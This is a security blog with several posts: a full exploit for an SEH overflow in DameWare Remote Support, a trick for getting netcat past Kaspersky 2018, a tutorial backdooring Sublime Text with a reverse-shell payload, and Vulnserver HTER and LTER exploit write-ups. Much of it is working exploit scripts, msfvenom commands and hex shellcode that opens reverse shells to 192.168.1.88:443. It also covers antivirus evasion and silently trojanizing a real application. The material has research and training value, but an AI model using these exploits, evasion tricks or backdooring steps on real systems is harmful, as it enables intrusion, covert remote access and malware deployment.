SEH based local Buffer Overflow – DameWare Remote Support

Hello everyone!

At this blog post I’m going to speak about a vulnerability that I detected at July of 2019 in DameWare Remote Support V. 12.1.0.34.

DameWare is a well known remote administration tool that allows user to connect to other computers. I already wrote some exploit for it, like this one:

But for this blog entry, I’m going to be focused in Remote Support application instead of Remote Control, that is another different tool of DameWare.

This summer, I was preparing my OSCE certification that I finished in August. To be well prepared, I was playing with some applications trying to find bugs to practice my new skills, this tool was one of them.

Below is a video demonstration of exploitation for proof of concept of this vulnerability:

SolarWinds have been contacted about this issue who have acknowledged it, after 3 months they didn’t provide a fix for this vulnerability.

Update: A few weeks after SolarWinds contacted me that they fixed the vulnerability in the following version: Dameware 12.1 HotFix 3

Exploit Development

The reason why I started this blog is to share a bit of knowledge with the hacking community, so it makes no sense for me to publish this here without explaining all the process, so here is a full write-up of the exploit development process.

The application does not sanitize correctly the input of the parameter “Computer Name“.

If we put 5000 A’s in the field computer name we are going to see the following. The SEH handler value is overwritten:

In the image above you can see that we overwritten the SEH with 00410041, but we should expect to have 41414141 there (4 letters A). Our payload is getting converted from ASCII to Unicode.

If we let the pass the execution to the program two times with SHIFT+F9 we are going to be at this point:

Our Unicode encoded buffer is going to be located in the third position of the stack. We need to find a POP-POP-RET instruction, but it has to be suitable to Unicode encoding.

To search for it we can use Corelan plugin for Immunity debugger named Mona. We can use the following command:

!mona seh -cp unicode

And Mona identifies the following memory addresses:

Now we need to know where is the SEH overwritte located. We can use the Metasploit tool msf-pattern-create:

msf-pattern_create -l 5000

We use that string to crash the application, this time the SEH value has changed. We right click in it, and select Follow address in stack:

And in the stack we are going to have this:

Now it’s the moment to use Metasploit pattern offset to locate the the position. We can use this command:

msf-pattern_offset -q "37694136" -l 5000
[*] Exact match at offset 260

Let’s start developing the exploit. The main structure is going to be the following:

AAAA... + NSEH + SEH + AAAA...

The python code is going to be like this:

...
junk1 = "A" * 260
# Padding compatible for Unicode transformation exploit
nseh  = "\x61\x43"

# 0x007a0021 : pop esi # pop edi # ret
# startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)
seh   = "\x21\x7a"

junk2 = "\x41" * 1348
...

I put a breakpoint in the memory address 00770021, I put the payload in the field, and I verify that we reach the POP-POP-RET instruction and also that our unicode compatible padding works fine:

In this type of exploits, we can’t setup there the final shellcode, because it’s going to be modified because of the unicode conversion. We need to place it in a register, push it to the stack and execute a return instruction.

To do that, we have to face the problem, that all the instructions that we use, are going to be modified. There is a shellcoding technique named Venetian shellcode that is going to help here.

After some try and error I finished this small piece of code, that what is going to to do, is to save the top of the stack in EAX register. Add 50 to it, put it in the top of the stack and execute a RETN:

# Put shellcode memory address in EAX, push it to the stack and RETN
# 20 bytes
align  = ""
align += "\x43" * 10                # Padding
align += "\x58"                     # POP EAX
align += "\x73"                     # Venetian padding
# 0012F590   83C0 50          ADD EAX,50
align += u"\uC083" + "\x50"         # ADD EAX, 50
align += "\x73"                     # Venetian padding
align += "\x50"                     # PUSH EAX
align += "\x73"                     # Venetian padding
align +=  u'\uC3C3'                 # RETN

Notice in the code above, that I had to use some unicode symbols, I needed to use them to be able to execute the needed instructions.

After some maths, I located the exact point where I have to place the shellcode, is going to be placed 18 bytes after the EAX preparation part of the code.

At this point I prepare the final shellcode, It’s going to be alphanumerical encoded, if not is not going to work. To generate it I used the following commands:

msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
./alpha2 eax --unicode --uppercase < shellcode.raw

And this is the generated shellcode

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

At this point, everything was looking perfect for me, but it won’t work. The execution flow is going to break here:

If we see the registers, we can see that value in EBX:

After some hours of debugging, I identify that is my own buffer who is overwriting EBX. Also I realized that the value 0000FFFF doesn’t break the execution flow and the calc pops correctly. Furthermore, I still have the Unicode problem, so I can’t overwrite with any value, I tried to overwrite it with values of the own application that doesn’t have ASLR protection activated but they seem not suitable for Unicode.

Another important thing, is that EBX is overwritten with the address number two after it.

I did the next process to fix this problem. First of all I had to run the application in Windows XP compatibility mode to disable ASLR.

Secondly I selected the EDX register that contains a memory address that I can replicate although the Unicode problem, I right click in it and I followed in dump:

Once I did that, I searched for the binary string:

FF FF 00 00

And I found this:

The memory address 7FFDD078 contains the desired value, so if we look one address up, we can see the address: 7FFDD068.

Let’s use it in the exploit:

# 7FFDD066 + 2 memory address contains the value FFFF0000
# This value is going to be placed in EBX 
# And it doesn't break the execution flow
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF"

We put all together. And this is the final exploit:

#!/usr/bin/env python
# Author: Xavi Beltran
# Date: 14/7/2019
# Site: xavibel.com

# Description:
#           SEH based Buffer Overflow
#			DameWare Remote Support V. 12.1.0.34
#           Tools >> Computer Comments >> Description

# msf-pattern_offset -q "37694136" -l 5000
# [*] Exact match at offset 260
junk1 = "\x41" * 260

# Unicode compatible padding
nseh  = "\x61\x43"

# 0x007a0021 : pop esi # pop edi # ret
# startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)
seh   = "\x21\x7a"

# Put shellcode memory address in EAX, push it to the stack and RETN
# 20 bytes
align  = ""
align += "\x43" * 10                # Padding
align += "\x58"                     # POP EAX
align += "\x73"                     # Venetian padding
# 0012F590   83C0 50          ADD EAX,50
align += u"\uC083" + "\x50"         # ADD EAX, 50
align += "\x73"                     # Venetian padding
align += "\x50"                     # PUSH EAX
align += "\x73"                     # Venetian padding
align +=  u'\uC3C3'                 # RETN

# 1348
junk2 = "\x43" * 18

# 7FFDD066 + 2 memory address contains the value FFFF0000
# This value is going to be placed in EBX 
# And it doesn't break the execution flow
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF"

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3

print(crash)

If we execute the exploit, it will generate the following string with some cool japanese unicode characters 🙂

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaC!zCCCCCCCCCCXs삃PsPs쏃CCCCCCCCCCCCCCCCCCPPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPADDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD큦翽

We launch it, and here is our calc! 🙂

It has been a really funny and also painful exploit, specially because of that EBX overwrite problem, but I learnt a lot.

I also share with you the final exploit:

#!/usr/bin/env python
# Author: Xavi Beltran
# Date: 14/7/2019
# Site: xavibel.com
# Description:
#       SEH based Buffer Overflow in the parameter:
#           Tools >> Computer Comments >> Description

# msf-pattern_offset -q "37694136" -l 5000
# [*] Exact match at offset 260
junk1 = "\x41" * 260

# Unicode compatible padding
nseh  = "\x61\x43"

# 0x007a0021 : pop esi # pop edi # ret
# startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)
seh   = "\x21\x7a"

# Put shellcode memory address in EAX, push it to the stack and RETN
# 20 bytes
align  = ""
align += "\x43" * 10                # Padding
align += "\x58"                     # POP EAX
align += "\x73"                     # Venetian padding
# 0012F590   83C0 50          ADD EAX,50
align += u"\uC083" + "\x50"         # ADD EAX, 50
align += "\x73"                     # Venetian padding
align += "\x50"                     # PUSH EAX
align += "\x73"                     # Venetian padding
align +=  u'\uC3C3'                 # RETN

# 1348
junk2 = "\x43" * 18

# 7FFDD066 + 2 memory address contains the value FFFF0000
# This value is going to be placed in EBX 
# And it doesn't break the execution flow
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF"

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3

print(crash)

https://www.exploit-db.com/exploits/47444

Disclosure Process

  • 15/07/2019 – Reported vulnerability to Solarwinds without answer
  • 31/07/2019 – Wrote a new email to SolarWinds asking for an answer
  • 01/08/2019 – SolarWinds acknowledged the vulnerability and reported that remediation work was underway
  • 26/08/2019 – Contacted Solarwinds again to see if there had been any updates
  • 01/10/2019 – Public Disclosure
  • 21/10/2019 – SolarWinds published Dameware 12.1 HotFix 3 that fixes the vulnerability
Posted in Exploiting | Tagged , , , , , , , , , , | Leave a comment

Bypassing Kaspersky AntiVirus 2018

Hello,

In this blog post I’m going to show how to do a trick to bypass the Kaspersky 2018 AV.

For the example, I’m going to use a netcat 99 binary that Kaspersky is going to detect as the following by default: not-a-virus:RemoteAdmin.Win32.NetCat.alj

The AV is doing an static scan, and also a dynamic scan so we are going to need to bypass both. Let’s start for the static one.

In the static scan the AV is going to look for strings that can match his signatures to try to identify the binary, also it can look for hashes or bytes length of the program.

This specific binary has a big code cave and we don’t need to add more bytes with a PE and a hex editor, but I’m going to do it to modify the binary structure.

After doing this we need to encrypt or encode the binary to bypass the static scan. As an example, look at this string when I open the plain text binary in Olly:

This string can match an AV signature and our file can be detected, we should encode it. I’m going to use a really simple encoder because the purpose of this post is not to show you difficult encoding or encrypting techniques.

I’ve already wrote about a bit more complex topics during my SLAE exam, you can find the articles here:

For this specific case, we don’t need a really complex encoder to bypass the AV, so we are going to keep the things simple.

We are doing 3 operation, an addition, an XOR and a subtract.

This is going to be the simple encoder:

And this the decoder, notice the inverse order:

After some trial and error encoding the file, I realized that I needed to encode the text, the rdata and the data section to avoid being detected.

So I implement the encoder to encode the three parts.

Now it’s the moment to scan the file, and Kaspersky doesn’t detect it, but our file doesn’t have the decoder stub. So it seems that we bypassed the static scan of the file.

I leave a 200 Nop sled before the decoder, and I implement the decoder and the registers recovery at the end. The code now is functional:

We scan the file with Kaspersky and it detects it again, with the same signature. It seems that the AV it’s also doing a dynamic scan of the file.

We know that we bypassed the static scan, but how to bypass the dynamic one? I’ve read about this trick in this blog post:

http://blog.noobroot.com/2013/09/bypassing-kaspersky-anti-virus-2014.html

We add a delay to let some seconds pass while AV is scanning the file, we will reach the maximum time scan allowed for scanning a single file and the scan is going to stop. After that the real binary code is going to be executed outside the Kaspersky sandbox.

To do that, we repeat this code 10 times before we execute the binary, in the nop sled that we prepared before:

We are just counting until we reach the value 12341234, and pushing/poping the same value from the stack. These are just some maths operations that are going to cause a delay in the execution of the program.

Now it’s the moment to scan the binary again, and we realize that Kaspersky is not detecting it anymore!

This was just a small trick for this specific AV, but if you want to read some interesting articles about AV bypass I recommend you the following ones:

And that’s all about AV bypass small tricks. See you soon!

Posted in Exploiting | Tagged , , , , , , , , , , , , , , , | Leave a comment

Backdooring a Windows Binary bypassing ASLR memory protection

Hello,

Today is a sunny day here in my country and I should be in the beach drinking a cold beer, but I don’t know why… I’m here at home embedding a backdoor inside a Windows binary.

I’ve already wrote about this in the blog, but this time is going to be a bit more complex, in this post I will cover how to bypass the Windows ASLR protection.

ASLR means Address Space Layour Randomization, and what it does is, that each time that the same program is executed, it will use another memory space with another memory addresses.

From a exploit development perspective, what it means is that we can’t hard-code addresses anymore. Instead of that, we need to start using “relative addresses”.

For this blog post, I’ve chosen my favorite GUI text editor that is Sublime Text. Let’s see the process of embedding a backdoor in it step by step.

Step 1. Creating a new memory section

We could find a suitable Code Cave without creating a new memory section, but I want to keep this tutorial as simple as I can.

At the end of the blog post I will share with you some interesting links if you want to read a bit more about Code Caves and other interesting topics.

As I said, to keep the things simple, I used LordPE to create a new section inside the binary. This memory section is going to be named “Evil”.

I copy the address RawOffset, we are going to need it in the next step.

I have to find the RawOffset address inside the hex editor:

0x0068E600

And insert the 1000 bytes at that point:

Step 2. Jumping to the code Cave

Now it’s the moment to open the binary inside a debugger.

These are the two first instructions of the program:

006AF62A >   E8 05000000    CALL sublime_.006AF634
006AF62F    ^E9 87FEFFFF    JMP sublime_.006AF4BB

We are going to overwrite the first instruction, this means that after, we are going to need to replicate that first CALL Sublime 006AF634. Done that, we are going to need to jump to the address where the second instruction is: 006AF62F.

Notice that all these address are going to be changing during the binary modification process because of ASLR.

Another address that ASLR is going to modify is our 1000 null bytes Code Cave location. We want to jump there but we can’t hard-code it.

If we check the location of our Code Cave, for this current execution of the program we can see that is in this memory address:

Code Cave - 0x013BA000

And that our entry point for our program is the following:

Entry Point of the Program - 0x011DF62A

How we can do a relative jump? The answer is using Nasm.

We are going to do a jump to the Code Cave – Entry Point. We can do it like this:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm > JMP (0x013BA000-0x011DF62A)
00000000  E9D1A91D00        jmp 0x1da9d6

So the correct opcodes are:

"\xE9\xD1\xA9\x1D\x00"

We do a binary copy to copy them into the debugger and save them. The Jump is going to work although the program has ASLR protection. Because is a “relative” jump.

We take the jump with F7. And we will be located at the begging of our Code Cave. Here we need to save our current registers and flags status to recover them after. We need to do these instructions:

pushad # Save registers into the stack
pushfd # Save flags into the stack

Step 3. Creating and modifying the shellcode

After saving the current program status, we are ready to put here our shellcode.

The most important thing here is to use exactly the same payload as I use, please notice the underscore symbol:

windows/shell_reverse_tcp

This is the full command:

root@kali:~# msfvenom  -p windows/shell_reverse_tcp LHOST=192.168.1.88 LPORT=443 -f hex EXITFUNC=none
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hex file: 648 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a8015868020001bb89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5

We copy it into the debugger and save the changes.

Now, we are going to have two problems. The first one is, that the program is going to hang until we close our shell, and the second one is that there is no listener, the program will close before starting.

Solving problem 1 – WaitForSingleObject Infinite

The shellcode is going to do the following:

DEC ESI ; Current value is 0, so it will convert in -1
PUSH ESI;
INC ESI;

We are pushing a -1 to the the stack, and this is the parameter that is going to hang the code execution until shell ends, we need to change it for a zero. So we just can change DEC ESI for a NOP.

Solving problem 2 – Avoiding ExitProcess

This fix is going to be a bit more complex. In the middle of the code we are going to see the following instructions:

74 0C       		je      short Sublime
FFF4E 08       		dec     dword ptr ds:[esi+8]
75 EC         		jnz     short Sublime
68 F0B5A256   	push    56A2B5F0
FFD5          		call    ebp                         # Process will finish if we reach this point
68 636D6400   	push    646D63
89E3          		mov     ebx, esp

I recommend you to look for the following instruction to locate this part of the code:

dec     dword ptr ds:[esi+8]

What we need to do here is remove that push, and change it for a Jump to the end of the shellcode. Like this:

Step 4. Stack alignment

At this point, the shellcode should be executed, and can happen two things. The first one is that the reverse shell found an open listening port and we received the new shell. The second one is that it does not find it and we jumped to end of the shellcode.

In both ways, the execution flow should not break because we already fixed these problems in the previous steps. Then in both cases, we should be at the end of the shellcode.

Here is where we have a problem, we need to align the stack and be precise with the position, because we pushed there our registers and flags and we need to recover them.

But we are going to need two different stack adjustments, the first one is going to be for the case that the shell generated a connection, and the second one, for the case that it didn’t.

As you can see in the image below, when the shellcode ends, we have a Nop padding, and we will align the stack adding 1DC, then we will jump over the other stack alignment and we will reach our register recovery part of the code. For the other case, when the code is not going to find a listener, the jump that we created before, is going to land in the ADD ESP, 1A4 instruction and then we will reach the registers recovery part.

As you can see in both of them, we are going to adjust the stack properly for each case.

Now I’m going to show you an example of how I did the math to do the stack alignment.

Stack alignment case 1 – shell works:

For the case, where the shell works:

ESP where we saved the registers and flags: 001DFA8C
ESP after the shell execution: 001DFC68

We need to add 1DC.

Stack alignment case 2 – shell timeout:

Second fix:

ESP where we saved the registers and flags: 0091FBF4
ESP in the PUSH that goes to exitprocess: 0091FA50

We need to add 1A4.

Step 5. Recover the execution flow

If you remember, the first step of all this process was to save the first two lines of the Sublime program execution:

006AF62A >   E8 05000000    CALL sublime_.006AF634
006AF62F    ^E9 87FEFFFF    JMP sublime_.006AF4BB

We need to reproduce that CALL, and after jump to the second memory address. But ASLR doesn’t let us to use absolute memory addresses.

1 – CALL Sublime recovery

The first calculation that we need to do is between the program entry point and the first call. When I calculated this, the values were:

First Call Destination: 006AF634
Entry Point: 006AF62A

So the distance between them is 0xa.

If we restart the program these values will change, but the distance will remain the same.

Now when we reach the final lines of our code, we are going to have these values: (Entry Point is different due to ASLR)

005DF62A - Entry Point
007BA180  - Current Memory Address

And we want to jump not to the entry point, we need to reach the CALL Sublime that is at 0xa far to it.

The maths operation that we need to do is the following one:

CALL (Entry Point + 0xA - Current Memory Address)

If we do it using Nasm we can find the correct opcodes:

nasm > CALL (0x0082F62A+0xa-0x00A0A14E)
00000000  E8E154E2FF        call 0xffe254e6

2 – Jumping to the second memory address

This one is a bit more simpler, we only need to know where we want to jump, and where we are right now.

Second memory address - 0076F62F 
Current Memory Address - 0094A185

The operation that we need is:

JMP (Second Memory Address - Current Memory Address)

And again using Nasm we find the opcodes:

nasm > JMP (0x0076F62F-0x0094A185)
00000000  E9A554E2FF        jmp 0xffe254aa

We save al the changes again in Olly, and we already finished the process. Sublime will start after our shellcode execution.

We test it. And finally the Sublime text editor has a new functionality 🙂


Now it’s the moment to share with you some interesting information resources.

Thank you very much to Mgeeky for this one, I was about being completely crazy fixing the shellcode by my own:

https://gist.github.com/mgeeky/2193d0416e3c4ce49996ee6616e0bf0b

And also thanks to Abatchy for this interesting article, there is always good information also in his blog.

https://www.exploit-db.com/docs/english/42061-introduction-to-manual-backdooring.pdf

https://www.abatchy.com/

You can also find two articles related to backdooring binaries in my blog:

And the only thing that I want to improve in this topic, is to execute shellcode using some existing functionality of the tool, for example, when you click in the help button, etc.

Probably I’m going to do that later and I will write a couple of lines about it.

Take care and thank you for reading!

Posted in Exploiting | Tagged , , , , , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver HTER – Hex conversion

Hello!

One more Vulnserver write-up. This one is HTER function, it has some similarities with his brother LTER.

LTER was converting the buffer to Unicode and HTER is going to convert it to hexadecimal.

Let’s see what happens when this conversion happens and how we can manage it to write a working exploit.

We fuzz again Vulnserver and the request number 180 crashes the application:

Let’s recreate the crash with a python exploit. We execute it and it crashes again:

crash = "\x41" * 3000

buffer="HTER "
buffer+= crash + "\r\n"

But when I try to generate a string with msf-pattern to make the application crash, it won’t work. So I’m going to do it manually, splitting the buffer in two parts with A’s and B’s and so on.

After some minutes of trial and error. My script contained the following:

crash = "\x41" * 2041 + "\x42" * 8 + "\x41" * 951

And I finally overwrite EIP with 8 letter’s B.

It’s strange, and I don’t understand why I have 8 B’s instead of 4. Reading other write-ups I read that the payload was being converted into a hex byte array instead of ASCII.

Let’s try to overwrite EIP, we know from the past exercise that we have a JMP ESP in the memory address:

# 0x62501203 - JMP ESP

We setup the exploit like this, and we put a breakpoint in the JMP ESP. Notice the “inverse” order of the bytes of EIP.

junk1 = "\x41" * 2041

# 0x62501203 - JMP ESP
eip = "03125062"

junk2 = "\x42" * 951

crash = junk1 + eip + junk2

We launch the exploit and we reach the break point.


Trick. Generating hex format shellcode

Now we just have to complete the exploit as usual, but we need to know some things. If we want some Nop padding instead of writing 0x90 we are going to use 90.

Also, when we generate the shellcode we have to use the hex format. I generated the shellcode with this command:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 -b "\x00" -f hex -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of hex file: 736 bytes
bd5a2c2623d9f6d97424f45a33c9b156316a13036a1383c25eced3dfb68c1c2046f195c57731c18e278181c3cb6ac7f7581ec0f8e9953636ea860b5968d55fb9511692b8964b5fe84f07f21de45dcf96b670574a0e7276dd052d58dfca45d1c70f63ab7cfb1f2a5532df8198fb12dbdd3bcdae173870a9e343ae3cf0e325e6dc12e971961846f5f03c59da8a38d2dd5cc9a0f978927363d87ed59c3a218a3830cfdf301b872c79a4573b0ad765e4a07fc56d6f875c799057e6ea6e581622b50c465c1c2d0d9ca1f8bb9635c393a69dabe1a81c976c4e4eb73edf2f67fe8fc76df1f0f88dd8989361b4f10b1b9d8aaae408f7ed6fb807a387c91bd4ff31e4256a318e213c6626281940e9d34cd3ee2c11e5851b8749f263474902320d496ae2751a8feda30f1c784c79f02b24872f1beb781a1fec86d80855ee220965ee4889358687a6ba66676d93eee2e0518ff3283711f3dfeca28e9013436fb977446fc58979b9fcffbc79bbf08bdcea9af373ec8e

We put everything together in a final script:

#!/usr/bin/python
# Author: Xavi Bel
# Website: xavibel.com
# Date: 24/06/2019
# Vulnserver HTER - Hex format shellcode

import socket
import os
import sys

junk1 = "A" * 2041

# 0x62501203 - JMP ESP
eip = "03125062"

padding = "90" * 20

# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 -b "\x00" -f hex -v shellcode
# Payload size: 368 bytes
shellcode = "bd5a2c2623d9f6d97424f45a33c9b156316a13036a1383c25eced3dfb68c1c2046f195c57731c18e278181c3cb6ac7f7581ec0f8e9953636ea860b5968d55fb9511692b8964b5fe84f07f21de45dcf96b670574a0e7276dd052d58dfca45d1c70f63ab7cfb1f2a5532df8198fb12dbdd3bcdae173870a9e343ae3cf0e325e6dc12e971961846f5f03c59da8a38d2dd5cc9a0f978927363d87ed59c3a218a3830cfdf301b872c79a4573b0ad765e4a07fc56d6f875c799057e6ea6e581622b50c465c1c2d0d9ca1f8bb9635c393a69dabe1a81c976c4e4eb73edf2f67fe8fc76df1f0f88dd8989361b4f10b1b9d8aaae408f7ed6fb807a387c91bd4ff31e4256a318e213c6626281940e9d34cd3ee2c11e5851b8749f263474902320d496ae2751a8feda30f1c784c79f02b24872f1beb781a1fec86d80855ee220965ee4889358687a6ba66676d93eee2e0518ff3283711f3dfeca28e9013436fb977446fc58979b9fcffbc79bbf08bdcea9af373ec8e"

# 951 - 20 - 368
junk2 = "B" * 563

crash = junk1 + eip + padding + shellcode + junk2 

buffer="HTER "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/HTER/EXP-HTER-01.py

And we execute it, and we receive another Vulnserver shell! 🙂

Only 1 more, and we are going to finish it. See you soon!

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver LTER – Unicode conversion

Hello!

One more blog post about Vulnserver, this time let’s do LTER exercise. It’s not a difficult one, but it has an important thing that we should understand when we are using Alphanumerical encoders.

As always, we start the fuzzing process, and we crash the application in the request number 50.

This is the content of the request that makes the application crash, LTER followed by “/.:/” and then 5000 A’s.

Running the python script with 5000 A’s I’m going to overwrite the SEH, with 3000 I will overwrite the EIP. For this example, let’s use 3000 A’s. It’s important to remember that during exploit development process we should modify the length of the buffer and check if the application crashes in a different way, like this one.

To replicate the 3000 A’s crash, we are going to use a code similar to this:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 3000

buffer="LTER /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

And here we can see the crash inside Olly:

